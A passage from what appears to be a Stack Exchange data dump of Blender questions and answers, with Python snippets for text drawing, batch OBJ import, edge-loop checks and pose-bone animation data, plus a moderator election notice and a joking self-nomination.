&amp;quot;M&amp;quot;)[1] * 1.45)&#xA;    for command in packed_strings:&#xA;        if len(command) == 2:&#xA;            pstr, pcol = command&#xA;            #bgl.glColor4f(*pcol) -&amp;gt; Blender 2.7x&#xA;            blf.color(font_id, pcol[0], pcol[1], pcol[2], pcol[3]) # Blender 2.8x&#xA;            text_width, text_height = blf.dimensions(font_id, pstr)&#xA;            blf.position(font_id, (x + x_offset), (y + y_offset), 0)&#xA;            blf.draw(font_id, pstr)&#xA;            x_offset += text_width&#xA;        else:&#xA;            x_offset = 0&#xA;            y_offset -= line_height&#xA;            &#xA;&#xA;x = 60&#xA;y = 100&#xA;RED = (1, 0, 0, 1)&#xA;GREEN = (0, 1, 0, 1)&#xA;BLUE = (0, 0, 1, 1)&#xA;CR = &amp;quot;Carriage Return&amp;quot;&#xA;ps = [(&amp;quot;Blue &amp;quot;, RED),(&amp;quot;Yellow &amp;quot;, BLUE), CR, (&amp;quot;White &amp;quot;, GREEN)]&#xA;draw_string(x, y, ps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CoojR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You aren't limited to single words either:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ps = [(&amp;quot;Blue Steel&amp;quot;, RED),(&amp;quot;Yellow Monk Fruit&amp;quot;, BLUE), CR, (&amp;quot;White as an otter&amp;quot;, GREEN)]&#xA;draw_string(x, y, ps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;produces this. (and note I forgot on purpose to add a space after &amp;quot;Fruit&amp;quot; to show how words are separated).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QtgYl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;caveat:&lt;/strong&gt; Don't change the &amp;quot;Carriage Return&amp;quot; string to something with 2 characters, it's a place-holder to keep the code simple and its length must be anything other than 2.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="31447" LastEditDate="2020-08-19T18:54:34.433" LastActivityDate="2020-08-19T18:54:34.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31801" PostTypeId="1" CreationDate="2015-06-01T11:35:48.480" Score="5" ViewCount="435" Body="&lt;p&gt;I am doing some research work on anatomy of human body, for which I want to use this project:  &lt;a href=&quot;http://dbarchive.biosciencedbc.jp/en/bodyparts3d/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dbarchive.biosciencedbc.jp/en/bodyparts3d/download.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This project is a 3D Model of human anatomy, containing hundreds of &lt;code&gt;.obj&lt;/code&gt; files. Each &lt;code&gt;.obj&lt;/code&gt; file is actually a model of a part of human body. &lt;strong&gt;I want to import all the&lt;/strong&gt; &lt;code&gt;.obj&lt;/code&gt; &lt;strong&gt;files in such a way that the overall anatomy of the figure is intact&lt;/strong&gt;, i.e. all the structures are in their right place (so that I don't have to manually correct their position).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Thanks @poor and @zeffii for your input. After a couple of hours of head-banging, everything seems to work now.&#xA;Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Used the script given in the post mentioned by @poor.&lt;/li&gt;&#xA;&lt;li&gt;Modified the directory structure given in the script (which is for windows) to work with linux.&lt;/li&gt;&#xA;&lt;li&gt;Imported the &lt;code&gt;.obj&lt;/code&gt; files using the script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KE5mx.png&quot; alt=&quot;successful batch import&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Script to import multiple .obj files into blender&#xA;import os&#xA;import bpy&#xA;&#xA;# put the location to the folder where the objs are located here in this fashion&#xA;path_to_obj_dir = '/home/user/Desktop/brainstem/'&#xA;&#xA;# get list of all files in directory&#xA;file_list = sorted(os.listdir(path_to_obj_dir))&#xA;&#xA;# get a list of files ending in 'obj'&#xA;obj_list = [item for item in file_list if item.endswith('.obj')]&#xA;&#xA;# loop through the strings in obj_list and add the files to the scene&#xA;for item in obj_list:&#xA;    path_to_file = os.path.join(path_to_obj_dir, item)&#xA;    bpy.ops.import_scene.obj(filepath = path_to_file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is something specific to this Human Anatomy project (link given above) that I want to share (hoping that it might help someone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by @zeffii, this project is huge. If yout try to import all the files at once, your system may crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project contains some reference files, which have information about the file names and anatomical structures covered in them. This is very useful information because in this way you can divide the whole project into regions/systems and work with one region/system at a particular time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image given above is of &lt;strong&gt;&quot;Brain Stem&quot;&lt;/strong&gt; which is made up of 11 &lt;code&gt;.obj&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PM3BI.png&quot; alt=&quot;brainstem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit # 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@poor has written an add-on for blender in order to import multiple .obj files simultaneously in a more user friendly way. I am now using this addon and it works flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link: &lt;a href=&quot;https://blender.stackexchange.com/questions/5064/batch-import-wavefront-obj/31825#31825&quot;&gt;How to batch import Wavefront OBJ files?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to add this Addon:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step # 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all copy the code of the plugin and create a file named io_import_multiple_objs.py&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RZ2F6.png&quot; alt=&quot;io_import_multiple_objs.py&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step # 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender, goto &quot;User Preferences&quot; &gt; &quot;Addons&quot; &gt; &quot;Install from file&quot; and select the &quot;io_import_multiple_objs.py&quot; file you created in step # 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wAZnm.png&quot; alt=&quot;install from file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step # 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the addon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mE357.png&quot; alt=&quot;Enable the addon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can batch-import multiple .obj files. :D&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j8BTh.png&quot; alt=&quot;batch import&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks @poor for this great addon :D&lt;/p&gt;&#xA;" OwnerUserId="14718" LastEditorUserId="241" LastEditDate="2020-06-26T13:43:40.520" LastActivityDate="2020-06-26T13:43:40.520" Title="How to import multiple .obj files and keep the overall structure intact?" Tags="&lt;objects&gt;&lt;import&gt;&lt;obj&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="1" ClosedDate="2015-06-01T13:13:26.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="31802" PostTypeId="1" AcceptedAnswerId="31811" CreationDate="2015-06-01T13:47:12.430" Score="2" ViewCount="115" Body="&lt;p&gt;I'm doing an scene based on the Solar System (in Cycles), with the inconvenient that when i press 'Render' and then i press 'Save the Image As' it looks better, brighter and more defined than when i press Animation.&#xA;I saved the two images as PNG (Because i needed as Alpha images for later)but when i imported them to an editing software (on this case, Adobe After Effects) I can clearly see the difference...starting from the definition of the Orbit/Line.&#xA;&lt;em&gt;I hope someone can lend me a hand about this one, i'm getting troubled.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/neES8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3078" LastEditDate="2015-06-01T20:38:46.070" LastActivityDate="2015-06-01T20:38:46.070" Title="Why do still renders look sharper than animations?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31803" PostTypeId="1" CreationDate="2015-06-01T13:55:37.153" Score="1" ViewCount="78" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm new to Blender, I have the object shown on the first image (the one that is NOT selected) and I would like to create on it some holes using the boolean modifier. So I created the eight cylinders shown in yellow always on the first image to subtract them from my object.&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uLggV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I select the object, add to it the boolean modifier and make the difference with those cylinders the surface of my object is not correctly modified. See the image below and compare it with the previous one.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kSlRR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a problem of Blender or am I applying the boolean modifier in a wrong manner?&lt;br&gt; What is the correct way to use the boolean difference between two objects?&lt;br&gt;&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14741" LastActivityDate="2015-06-01T13:55:37.153" Title="Wrong result applying boolean modifier to an object" Tags="&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-01T16:30:34.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="31805" PostTypeId="2" ParentId="31797" CreationDate="2015-06-01T14:29:58.627" Score="2" Body="&lt;p&gt;I'd implement the following algorithm:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Give each vertex a unique &lt;strong&gt;ID.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Choose one of your grouping's vertices, and add its ID to a &lt;code&gt;set()&lt;/code&gt; &lt;strong&gt;S&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Check all vertices ID that are connected by an edge to &lt;code&gt;(2).&lt;/code&gt; Add these IDs to &lt;strong&gt;S&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Are any of the IDs in &lt;code&gt;(3)&lt;/code&gt; the same as the ID in &lt;code&gt;(2)?&lt;/code&gt; If &lt;code&gt;yes,&lt;/code&gt; Return &lt;em&gt;True.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;not,&lt;/code&gt; for each in &lt;code&gt;(3),&lt;/code&gt; recursively do steps &lt;strong&gt;2-5.&lt;/strong&gt; If you run out of edges/vertices, return &lt;em&gt;False.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: you use the vertices IDs in S to avoid choosing &lt;em&gt;already processed vertices&lt;/em&gt; in step 5.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudo-code &lt;em&gt;could be&lt;/em&gt; something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grouping = [ selected vertices in a mesh ]&#xA;&#xA;S = set()&#xA;&#xA;for v in grouping.vertices():&#xA;    S.add(v.id)&#xA;    for vv in v.edges().vertex():&#xA;        if vv.id in S:&#xA;            return True&#xA;        else:&#xA;            S.add(vv.id)&#xA;return False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14744" LastEditorUserId="14744" LastEditDate="2015-06-01T23:18:38.113" LastActivityDate="2015-06-01T23:18:38.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31806" PostTypeId="1" CreationDate="2015-06-01T14:48:39.253" Score="3" ViewCount="1009" Body="&lt;p&gt;I am aware of importing SVG as path. &#xA;What i want t do is to use SVG as texture like any other image on material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read about  &lt;a href=&quot;https://code.google.com/p/vectex/&quot; rel=&quot;nofollow&quot;&gt;vectex&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/jXFp3wPLUPs&quot; rel=&quot;nofollow&quot;&gt;vectex demo vudeo&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure how it is supposed to be used&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-06-01T14:48:39.253" Title="In blender can we use svg as material texture?" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31807" PostTypeId="2" ParentId="31797" CreationDate="2015-06-01T15:25:37.313" Score="1" Body="&lt;p&gt;I did something similar for this &lt;a href=&quot;https://bitbucket.org/pink-vertex/blender-scripts-and-addons/src/1b5ef8c552532462496bab0bc2582ed3f79cbbd2/mesh_straighten_path.py?at=default&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; and edited it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def is_edge_loop(bm):&#xA;    nof_verts = 0&#xA;    nof_leafs = 0&#xA;    start = None&#xA;&#xA;    #maybe iterate over edges instead since edge count &amp;lt; vertex count        &#xA;    for vertex in bm.verts:&#xA;        if vertex.select:&#xA;            nof_verts += 1&#xA;            vertex.tag = False&#xA;&#xA;            count = 0&#xA;            for edge in vertex.link_edges:&#xA;                if edge.select:&#xA;                    count += 1&#xA;&#xA;            if count == 1:&#xA;                nof_leafs += 1&#xA;                if start is None:&#xA;                    start = vertex&#xA;                elif nof_leafs &amp;gt; 2:&#xA;                    return &quot;More than two leaves&quot;&#xA;&#xA;            elif count == 2:&#xA;                if not vertex.is_boundary and not len(vertex.link_edges) == 4:&#xA;                    return &quot;Not boundary and not linked to four edges&quot;&#xA;                if nof_leafs == 0 and start is None:&#xA;                    start = vertex&#xA;&#xA;            else:&#xA;                return &quot;Invalid edge count: %d&quot; % count&#xA;    if nof_leafs == 1:&#xA;        return &quot;Only one leaf&quot;&#xA;&#xA;    #there might be additional independent cyclic loops&#xA;&#xA;    vertex = start&#xA;    vertex.tag = True&#xA;    prev_edge = None&#xA;    count = 0&#xA;&#xA;    while(count &amp;lt; nof_verts - 1):&#xA;        for edge in vertex.link_edges:&#xA;            if edge.select:&#xA;                w = edge.other_vert(vertex)&#xA;                if not w.tag:&#xA;                    if count and edges_share_face(edge, prev_edge):&#xA;                        return &quot;edges share face&quot;&#xA;                    vertex = w&#xA;                    vertex.tag = True&#xA;                    prev_edge = edge&#xA;                    count += 1&#xA;                    break&#xA;        else:&#xA;            return &quot;Can not find vertex to advance to&quot;&#xA;    return True&#xA;&#xA;def edges_share_face(e1, e2):&#xA;    return any(f1 == f2 &#xA;        for f1 in e1.link_faces&#xA;        for f2 in e2.link_faces) &#xA;&#xA;mesh = bpy.context.active_object.data&#xA;bm = bmesh.from_edit_mesh(mesh)&#xA;print(is_edge_loop(bm))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There might be better solutions and i'm sure i have missed some cases but it worked ok when i tested it.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-06-02T16:58:46.173" LastActivityDate="2015-06-02T16:58:46.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31808" PostTypeId="1" CreationDate="2015-06-01T15:27:45.270" Score="2" ViewCount="209" Body="&lt;p&gt;I am working on a kind of Voxel design. However, whenever i use box or circle select in object mode, it selects all of the objects in the path, not just the visible ones, how can i get around this so i only select the ones on the surface?&lt;/p&gt;&#xA;" OwnerUserId="14746" LastActivityDate="2015-06-03T14:11:04.727" Title="Selection goes through objects" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31811" PostTypeId="2" ParentId="31802" CreationDate="2015-06-01T17:50:54.687" Score="3" Body="&lt;p&gt;Make sure the resolution for the final render is set at 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ywzl4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to do further compositing/postproduction/color correction in other software, render to an image sequence in a &lt;a href=&quot;http://en.wikipedia.org/wiki/Lossless_compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;lossless format&lt;/a&gt; using a higher bit depht like 16bit per channel.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-06-01T17:50:54.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31812" PostTypeId="1" AcceptedAnswerId="31813" CreationDate="2015-05-29T20:24:34.090" Score="3" ViewCount="2574" Body="&lt;p&gt;This is the script I've got. It just basically offsets every selected objects animation for the other one as shown in this &lt;a href=&quot;http://blenderdiplom.com/en/tutorials/all-tutorials/425-arewo-the-animation-replicator-with-offset.html&quot; rel=&quot;nofollow&quot;&gt;Tutorial&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.selected_objects&#xA;objlist = len(obj)&#xA;offset = range(objlist+1)&#xA;&#xA;for i in range(objlist):&#xA;    animData = obj[i].animation_data&#xA;    action = animData.action&#xA;    fcurves = action.fcurves&#xA;    for curve in fcurves:&#xA;        keyframePoints = curve.keyframe_points&#xA;        for keyframe in keyframePoints:&#xA;            keyframe.co[0] += offset[i]&#xA;            keyframe.handle_left[0] += offset[i]&#xA;            keyframe.handle_right[0] += offset[i]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works alright but when I change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.selected_pose_bones&#xA;objlist = len(obj)&#xA;offset = range(objlist+1)&#xA;&#xA;for i in range(objlist):&#xA;    animData = obj[i].animation_data&#xA;    action = animData.action&#xA;    fcurves = action.fcurves&#xA;    for curve in fcurves:&#xA;        keyframePoints = curve.keyframe_points&#xA;        for keyframe in keyframePoints:&#xA;            keyframe.co[0] += offset[i]&#xA;            keyframe.handle_left[0] += offset[i]&#xA;            keyframe.handle_right[0] += offset[i]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError:'PoseBone' object has no attribute 'animation_data'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14756" OwnerDisplayName="alec farai" LastEditorUserId="3078" LastEditDate="2015-06-01T20:41:07.057" LastActivityDate="2015-06-02T00:42:49.047" Title="How can I access bone's 'animation_data.action'?" Tags="&lt;python&gt;&lt;animation&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31813" PostTypeId="2" ParentId="31812" CreationDate="2015-05-30T08:47:50.147" Score="3" Body="&lt;p&gt;Armatures store data differently than other objects, they contain a rest position for each bone that locates the bone within the armature structure as well as pose position used for animation. The data for an action is stored within a generic objects data, to get the armature animation data you want, you need to treat the armature as an object to get there. The path to the fcurves of the armatures action is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.active_object.animation_data.action.fcurves&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The list of fcurves in the armatures action will contain every curve for every channel of every bone in the armature that is keyframed, each curve has a &lt;code&gt;data_path&lt;/code&gt; with a value like &lt;code&gt;pose.bones[&quot;hips&quot;].location&lt;/code&gt;, by extracting the name you can compare it to the selected bone names with something like -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bone_names = [b.name for b in bpy.context.selected_pose_bones]&#xA;...&#xA;for curve in fcurves:&#xA;    if curve.data_path.split('&quot;')[1] in bone_names:&#xA;        # do stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-05-30T08:47:50.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31814" PostTypeId="1" CreationDate="2015-06-01T19:31:37.550" Score="8" ViewCount="1870" Body="&lt;p&gt;How can I drive the content of a text object by a value box such as the samples slider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to change the value here:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r4Ki2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And have the value show up &lt;strong&gt;automatically&lt;/strong&gt; on this text object, without any type of manual refresh:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hpdwu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-06-26T01:28:35.607" LastActivityDate="2017-02-04T17:08:25.920" Title="How to drive text based off of a value" Tags="&lt;python&gt;&lt;drivers&gt;&lt;text-object&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31815" PostTypeId="2" ParentId="31791" CreationDate="2015-06-01T19:58:21.430" Score="5" Body="&lt;p&gt;The original file is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Enrk.jpg&quot; alt=&quot;img 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I removed 129 doubling vertices (&lt;kbd&gt;W&lt;/kbd&gt; -&gt; &lt;code&gt;Remove Doubles&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some basic tweaking (dissolving some edges and adding 2 loopcuts to make vertices adjacent) got this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pc7Mv.jpg&quot; alt=&quot;img 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, mouth and teeth form. I decided to drop original vertices of teeth and combine them with loops of mouth and of the hole head. To do that, I deleted top teeth vertices (&lt;kbd&gt;X&lt;/kbd&gt; -&gt; Faces), selected one vertice from base of the top teeth and one from base of the bottom teeth and pressed &lt;kbd&gt;J&lt;/kbd&gt; to make edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tx1Pk.jpg&quot; alt=&quot;img 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did that for all adjacent vertices forming base of teeth.&#xA;Then, I added loopcut (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt;) across the all head. I combined it with the top mouth edge so it to let me add more loopcuts without creating NGons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HPKAF.jpg&quot; alt=&quot;img 3_1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added 2 loopcuts across the head including mouth. I scaled them to 0 by &lt;code&gt;Z&lt;/code&gt; axis (&lt;kbd&gt;S&lt;/kbd&gt; -&gt; &lt;kbd&gt;Z&lt;/kbd&gt; -&gt; 0) and moved slightly by &lt;code&gt;Z&lt;/code&gt; to make teeth slightly smaller. Then I began recreating teeth by simply selecting adjacent vertices and pressing &lt;kbd&gt;F&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rG8ur.jpg&quot; alt=&quot;img 5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After bottom teeth were done, I added adjacent quantity of vertical loopcuts (in this case 6) across the mouth to let it have roundish edges. Finally, I added Subsurf modifirer and set subdivision level to 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9fqUN.jpg&quot; alt=&quot;img 6&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/252/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=252&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of problems left, the eyes and whole top part of face should be rebuilt also or the eyes would not be seen as they should be. Also, my approach creates a lot of additional geometry - I tend to not creating NGons so Subsurf working as good as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I did. At the same time, I'm not sure what did OP to make &lt;em&gt;his&lt;/em&gt; final image.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-01T20:09:26.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31816" PostTypeId="7" CreationDate="2015-06-01T20:03:32.253" Score="0" Body="&lt;p&gt;&#xA;    On Stack Exchange, we believe the core moderators should come &lt;i&gt;from&lt;/i&gt; the community, and be elected by the community itself through popular vote. We hold regular elections to determine who these community moderators will be.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Community moderators are &lt;a href=&quot;http://blog.stackoverflow.com/2009/05/a-theory-of-moderation/&quot;&gt;accorded the highest level of privilege on our community&lt;/a&gt;, and should themselves be exemplars of positive behavior and leaders within the community.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Our general criteria for moderators is as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;patient and fair&lt;/li&gt;&#xA;    &lt;li&gt;leads by example&lt;/li&gt;&#xA;    &lt;li&gt;shows respect for their fellow community members in their actions and words&lt;/li&gt;&#xA;    &lt;li&gt;open to some light but firm moderation to keep the community on track and resolve (hopefully) uncommon disputes and exceptions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;    Every election has three phases:&#xA;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;    &lt;li&gt;Nomination&lt;/li&gt;&#xA;    &lt;li&gt;Primary&lt;/li&gt;&#xA;    &lt;li&gt;Election&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;    Please participate in the moderator elections by voting, and perhaps even by nominating yourself to be a community moderator!&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you are curious to see your candidate score there is a &lt;a href=&quot;https://data.stackexchange.com/blender/query/298418/candidate-score&quot; rel=&quot;nofollow noreferrer&quot;&gt;SEDE query&lt;/a&gt; that can show you before you nominate yourself.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://chat.stackexchange.com/rooms/114033/2020-blender-moderator-election-chat&quot;&gt;Election chat room&lt;/a&gt; - discuss the election, candidates, etc. --&amp;gt;&lt;/li&gt;&#xA;&lt;li&gt;For questions about the election process itself, visit &lt;a href=&quot;https://blender.meta.stackexchange.com/tags/election&quot;&gt;Meta&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://blender.meta.stackexchange.com/questions/2752/2020-moderator-election-qa-questionnaire&quot;&gt;The candidates answer your questions&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="71731" LastEditDate="2020-10-12T21:16:41.277" LastActivityDate="2020-10-12T21:16:41.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31819" PostTypeId="6" CreationDate="2015-06-01T20:38:09.020" Score="0" Body="&lt;p&gt;I am nominating myself for the 2015 moderator election. I am commonly known as the mighty &lt;strong&gt;SPAMKING-27&lt;/strong&gt;. I know the dynamics of spamming, and am perfectly qualified to specialize in stopping it. I feel that the site should be moderated by a diversity of different users. Considering that almost all of my posts relate to the Blender Game Engine, I am obviously a minority on this site which should give me a big advantage. I would obviously appreciate your vote, because If I didn't get any votes I wouldn't win (I know I won't win, but I wanted to be in the election anyway.) Speaking of votes, I have the Most votes on the Blender Meta, and the fourth most votes on the Main Site. (That was the only political jargon I could think of to make me sound remotely qualified)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an added bonus, I have notable experience being in uncomfortably close to contact to iklsR's Ban Hammer. With this experience around ban hammers, I would not threaten to abuse it's power.  (Unlike some people)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View &lt;a href=&quot;http://chat.stackexchange.com/transcript/message/21958313#21958313&quot;&gt;this&lt;/a&gt; in the transcript of the render farm.&#xA;(You must go look at each message in context, alone they 